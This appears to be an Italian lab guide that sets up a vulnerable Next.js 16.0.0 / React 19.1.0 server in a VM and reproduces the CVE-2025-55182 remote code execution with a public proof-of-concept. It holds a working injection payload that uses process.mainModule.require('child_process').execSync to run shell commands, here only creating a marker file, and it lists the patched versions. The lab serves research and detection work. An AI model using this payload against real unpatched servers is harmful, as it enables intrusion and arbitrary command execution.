
Lab riproducibile che dimostra CVE-2025-55182 Remote Code Execution contro Next.js 16.0.0 con React Server Components, incluse l'esecuzione di exploit esterni e la verifica degli effetti collaterali.
Questo documento fornisce una configurazione completa e riproducibile per dimostrare l'esecuzione di codice remoto (RCE) CVE-2025-55182 contro un ambiente vulnerabile Next.js + React Server Components in esecuzione all'interno di una VM Ubuntu con Multipass.
L'exploit viene eseguito dall'esterno della VM, dimostrando la sfruttabilità remota e preparando l'ambiente per il rilevamento di comportamenti anomali.
Source: https://github.com/ejpir/CVE-2025-55182-research
sudo apt update && sudo apt upgrade -y
sudo apt install -y curl git build-essential
curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
sudo apt install -y nodejs
Verifica:
node -v
npm -v
sudo adduser reactlab
sudo usermod -aG sudo reactlab
su - reactlab
mkdir ~/react2shell-lab
cd ~/react2shell-lab
npx create-next-app@latest vulnerable-app
cd vulnerable-app
package.jsonModificare le dipendenze:
"dependencies": {
"next": "16.0.0",
"react": "19.1.0",
"react-dom": "19.1.0"
}
Reinstallare i pacchetti:
rm -rf node_modules package-lock.json
npm install
Verifica:
npm list react react-dom next
Previsto:
npm run build
npm start
Output previsto:
▲ Next.js 16.0.0
Local: http://localhost:3000
Network: http://10.X.X.X:3000

Su un'altra macchina:
curl http://10.102.169.126:3000
Dovresti ricevere la pagina HTML predefinita di Next.js.
cd ~
git clone https://github.com/ejpir/CVE-2025-55182-research
cd CVE-2025-55182-research
Trova:
hostname: 'localhost',
Sostituisci con:
hostname: '10.X.X.X',
Con Next ancora in esecuzione:
node test-simple.cjs
Previsto nel terminale di Next.js:
NON-CHUNKED-RCE
Questo conferma l'esecuzione di codice remoto tramite React Flight utilizzando le versioni vulnerabili.

L'obiettivo è generare un comportamento osservabile (filesystem + esecuzione di processo).
_prefix all'interno di test-simple.cjsIndividua:
"_prefix": "console.log('NON-CHUNKED-RCE');//"
Sostituisci con:
"_prefix": "process.mainModule.require('child_process').execSync('touch /tmp/cve-2025-55182-syscall');console.log('NON-CHUNKED-RCE');//"
Nota: require non è disponibile nel contesto di esecuzione, ma process.mainModule.require() lo è.
Assicurati che Next sia in esecuzione, poi:
node test-simple.cjs
Verificare la creazione del file:
ls -l /tmp/
Dovresti vedere:
cve-2025-55182-syscall
Questo conferma l'RCE funzionale con effetti collaterali.

Patch:
React ≥ 19.2.1
Next.js ≥ 16.0.7